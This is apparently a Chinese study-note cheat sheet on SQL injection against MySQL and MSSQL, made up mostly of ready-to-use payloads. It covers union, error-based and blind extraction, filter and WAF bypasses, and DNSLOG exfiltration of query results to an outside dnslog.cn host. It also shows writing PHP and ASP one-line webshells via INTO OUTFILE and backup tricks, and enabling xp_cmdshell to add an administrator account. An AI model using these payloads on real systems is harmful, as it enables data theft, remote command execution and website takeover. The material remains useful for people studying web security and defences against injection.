SQL注入利用及绕过总结
概述
SQL注入指用户输入的参数可控且没有被过滤,攻击者输入的恶意代码被传到后端与SQL语句一起构造并在数据库中执行
不同数据库的利用可能存在略微差异,以MySQL为例介绍,其他数据库差异见文末
注入姿势
普通查询注入
判断漏洞是否存在
数字型
例如后端SQL语句长这样
select * from article where artid = 1 and xxxxx;
GET的请求参数是artid,可以在参数值后面输入单引号,此时数据库无法执行就会报错,说明存在SQL注入
?artid=1'
# select * from article where artid = 1' and xxxx;
通过and 1=1 ,and 1=2 判断
?artid=1 and 1=1
?artid=2 and 1=2
# select * from article where artid = 1 and 1=1 and xxxx;
# 若and 1=1页面回显正常,and 1=2 回显不正常 ,则说明拼接成功
需要注意的是,在测试删除功能时尽量不要使用and 1=1
,否则可能会将数据全部删除
字符型
与数字型类似,只是要注意单引号/双引号/括号的闭合,可以在最后加上注释符把后面的闭合符号和语句直接注释掉
判断字段数
?artid=1 order by 4
# 遍历数字,页面内容回显正常说明列数正确
order by 无法使用时,可以通过SELECT NULL判断
?artid=1 SELECT NULL, NULL, NULL, NULL
暴库名
?artid=-1 union select 1, database(), 3, 4
暴表名
?artid=-1 union select 1,group_concat(table_name), 3, 4 from information_schema.tables where table_schema=xxx
报错注入
很多Web程序没有内容回显,这样就需要我们利用报错注入的方式来进行SQL注入了
报错常用的函数
floor
id=1 and select count(*),floor(rand(0)*2) x from xxx group by x;
extractvalue
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
updatexml
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
exp
id=1 and exp(~(select * from(select user())a));
盲注
Boolean盲注
盲注常用的函数
length() # 返回字符串的长度
substr() # 截取字符串 (语法:SUBSTR(str,pos,len))
ascii() # 返回字符的ascii码 [将字符变为数字wei]
sleep() # 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) # 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
注入步骤
1.判断数据库名字的长度
?id=1 and length(database()) > 7
2.猜解数据库名
?id=1 and substr(database(), 1, 1) = 's'
可以使用burp或者python脚本进行遍历猜解
时间盲注
注入方法
1.判断注入点
根据页面回显判断
1" and 1=1-- # 页面返回有数据
1" and 2=2-- # 页面返回有数据
用sleep()判断,如果响应延时了5s说明存在时间盲注
" and sleep(5)--
2.猜解当前数据库名称长度
" and if((length(database()))=12,sleep(5),1)--
3.用ASCII码猜解当前数据库名称
" and if(ascii(substr(database(),1,1))=107,sleep(5),1)--
更新注入
更新类的操作的返回结果都是布尔型,无法返回数据
insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor')
update user set password = 'kali123' where id = 5 or extractvalue(1, concat(0x7e, version(), 0x7e));
堆叠注入
利用条件:可以同时执行多条sql语句
例如php中的mysql_multi_query(),pymysql中的cursor.execute()支持多条sql语句同时执行
select * from users;show databases;
二次注入
利用条件:知道数据库中的列名且使用了magic_quote_gpc
等对引号过滤
原理:用户向数据库里存入恶意的数据,在数据被插入到数据库之前,会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。
例如原语句:
$ sql = "UPDATE users SET PASSWORD='$pass' where username='$ username' and password='$ curr_pass' ";
我们的用户名被admin'#
传入进去,在数据库里#号为注释符 然后这句话就变成了
$ sql = "UPDATE users SET PASSWORD='$pass' where username='admin' #' and password='$curr_pass' ";
$ sql = "UPDATE users SET PASSWORD=’$pass’ where username=’admin‘
宽字节注入
利用条件:数据库使用了GBK编码,使用magic_quotes_gpc
对引号过滤
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤
\的编码是%5c,输入%df'
,经过过滤处理后会变成%df\'
也就是%df%5c
,GBK编码中文字符'運'
SELECT * FROM users WHERE id='1%df%5c'and 1=1--+' LIMIT 0,1
SELECT * FROM `article` where articleid = '1%df%5c'and 1=1 --+' LIMIT 0,1
payload:%df'and 1=1 --+'
二次编码注入
利用条件:目标站点使用了urldecode()解码
urldecode()与PHP本身处理编码时,两者配合失误,可构造数据绕过
%的url编码为:%25
'的url编码为:%27
%25%27,URL解码后是%27 也就是'
其他利用方式
DNSLOG 外带注入
目标站点没有回显,不知道是否利用成功时,就需要DNSLOG注入
Windows中允许使用UNC路径访问网络 \\计算机名或IP地址\共享名称\路径
利用前提:
secure_file_priv=
值为空- 目标出网
- 有文件读取写入的权限,例如root
在数据库中执行以下命令,查看DNSLOG平台
SELECT LOAD_FILE('\\\\fekvlt.dnslog.cn\\aa');
将要查询的内容带出来
SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.fekvlt.dnslog.cn\\a'));
MySQL写webshell
拿下数据库后如果有权限的话可以读取文件或者写入webshell
利用前提
1.secure_file_priv为空
show global variables like '%secure%'
secure_file_priv = 任意路径读写
secure_file_priv = path 只能在该指定路径下读写
secure_file_priv = null 不能读写
2.具有写入文件权限
3.知道网站绝对路径
写入文件
使用into outfile()
将一句话写入网站目录
select '<?php @eval($_POST[CMD]); ?>' into outfile '\/var\/www\/html\/shell.php';
读取文件
load_file()函数读取文件
?id=-2 union select 1, 2, 3, load_file('//etc//passwd'), 5
常见绕过方式
注释符
'#', '--+', '-- -', '%23', '%00', '/**/'
"and、or" 过滤
# 可以使用"&&"和"||"代替
?id=1 && 1=1 --+
# 盲注,异或运算相同为0,不同为1;根据返回值0,1判断
?id=1 union select (substr(database(),1,1)='s') ^ 0 --
关键词过滤
-
大小写绕过
id=-1' UnIoN SeLeCT xxx
-
双写绕过
适用于将关键词置空的场景
id=-1'UNIunionONSeLselectECT1,2,3–-
-
编码绕过
可以使用URL,hex,ASCII等编码绕过
例如'or 1=1
27%20%4F%52%201%3D%31%20%2D%2D
-
注释绕过
内联注释/**/将关键词分隔开
id=1' UN/**/ION SE/**/LECT database() --
空格过滤
-
内联注释代替空格
id=1/**/and/**/1=1
-
括号嵌套
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
-
制表符、换行、不可见空格
%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)
-
反引号
union(select`table_name`,`table_type`from`information_schema`.`tables`);
比较符号 "=、<、>"过滤
-
in()
ascii(substr(select database(),1,1)) in(115); //根据回显判断
-
like
like代替'='
-
正则表达式
select database() regexp '^s'; //根据回显判断
逗号过滤
逗号被过滤时可以使用from...for...
select substr(select database() from 1 for 1);
select substr(select database() from 2 for 1);
limit中的逗号可以替换成offset
select * from users limit 1 offset 2;
需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行
False注入
select * from users where username = 0; # 查询表中所有数据
其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据
绕过引号构造0的方法
select * from users where username = ''+'';
select * from users where username = ''-'';
select * from users where username = ''*'';
select * from users where username = ''%1#';
select * from users where username = ''/6#';
等价函数
- if()=> case...when..then...else...end
0' or if((ascii(substr((select database()),1,1))>97),1,0)#
=
0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#
- sleep() => benchmark()
benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断
- concat_ws() => group_concat()
select group_concat(database());
=
select concat_ws(1,database());
- substr() => substring() / lpad() / rpad() / left() / mid()
其他数据库
MSSQL(SQLServer)
SQLServer的最高权限用户不是root,而是sa(sysadmin)
xtype
是sysobjects
表中的列,用于标识数据库对象类型的属性,例如xtype="u"表示用户表
收集信息
判断数据库
根据页面回显是否正常判断(sysobjects是MSSQL特有的系统表)
?id=1 and (select count(*) from sysobjects)>0 --
判断权限
也是根据页面回显去判断
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));-
报错注入
数据库版本
SQL Server是强类型,1是int型,查询的版本是字符型,类型不一致所以报错
?id=1 and 1=(select @@version)
数据库名
top 1表示只显示首条记录,master是mssql默认的数据库,sysdatabases是视图,dbid<=4的都是系统自带的库
?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
爆第二个数据库名,假设第一个爆出来的test
?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name !='test')
爆出所有数据库名
?id=1 and 1=(select name from master..sysdatabases for xml path)
表名
查询第一个用户表
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
其他方式与查数据库名相同
列名
查询出'users'表对应的ID,然后根据ID去syscolumns
表查询列名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))
盲注
时间盲注
id=1 and WAITFOR DELAY '00:00:05'--
?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
布尔盲注
substring()函数,用法同MySQL
其他利用方式
xp_cmdshell
判断是否存在
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell' -- 1存在,0不存在
通过xp_cmdshell可以执行系统命令,在SQLServer2005后默认禁止,如果有SA权限可以手动开启
-- 开启
EXEC sp_configure 'show advanced options', 1;reconfigure;
EXEC sp_configure 'xp_cmdshell',1;reconfigure;
-- 关闭
EXEC sp_configure 'show advanced options', 1;reconfigure;
EXEC sp_configure 'xp_cmdshell', 0;reconfigure
执行系统命令
?id=1;EXEC master..xp_cmdshell "net localgroup administrators test /add"
写webshell
查询网站根目录
/* 列出 C 盘根目录下的所有文件夹 */
EXEC master..xp_dirtree '/var/www/html',1
/* 列出 C 盘根目录下的所有文件夹 */
EXEC master..xp_dirtree '/var/www/html',1,1
创建空表,将查询的结果插入表中,然后查看表
?id=-1;create table temp (dir varchar(8000),num int,num1 int);
?id=-1;insert into temp(dir, num, num1) execute master..xp_dirtree '/var/www/html',1,1
差异备份 Getshell
前提条件
- 知道网站根路径
- 对写入目录具有文件写入的权限
- 数据量不能太大
/* 必须先完整备份一次,test是数据库名 */
?id=-1;backup database test to disk = 'C:\inetpub\wwwroot\public\test.bak';
/* 创建一张临时表 */
?id=-1;create table [dbo].[test] ([cmd] [image]);
/* 向表中插入一句话 WebShell:<%execute(request("a"))%> */
?id=-1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
/* 再次备份,注意路径 */
?id=-1;backup database test to disk='/var/www/html/shell.asp' WITH DIFFERENTIAL,FORMAT;
日志备份 Getshell
前提条件
- DBA权限
- 知道网站根目录
- 写入目录有写入权限
- 数据库必须备份过一次
/* 把指定的数据库激活为还原模式,test是数据库名 */
?id=-1;alter database test set RECOVERY FULL;
/* 创建一张临时表 */
?id=-1;create table test (cmd image);
/* 先将数据库日志备份一次 */
?id=-1;backup log FoundStone_Bank to disk = '/var/www/html' with init;
/* 向表中插入一句话 WebShell:<%execute(request("a"))%> */
?id=-1;insert into test (cmd) values (0x3C25657865637574652872657175657374282261222929253E);
/* 再将数据库日志备份一次,写入 WebShell */
?id=-1;backup log FoundStone_Bank to disk = '/var/www/html/shell.asp';
学习过程进行的整理,有问题欢迎指正
史上最详细的sqlServer手工注入详解-腾讯云开发者社区-腾讯云
[干货 | MSSQL注入和漏洞利用姿势总结-腾讯云开发者社区-腾讯云](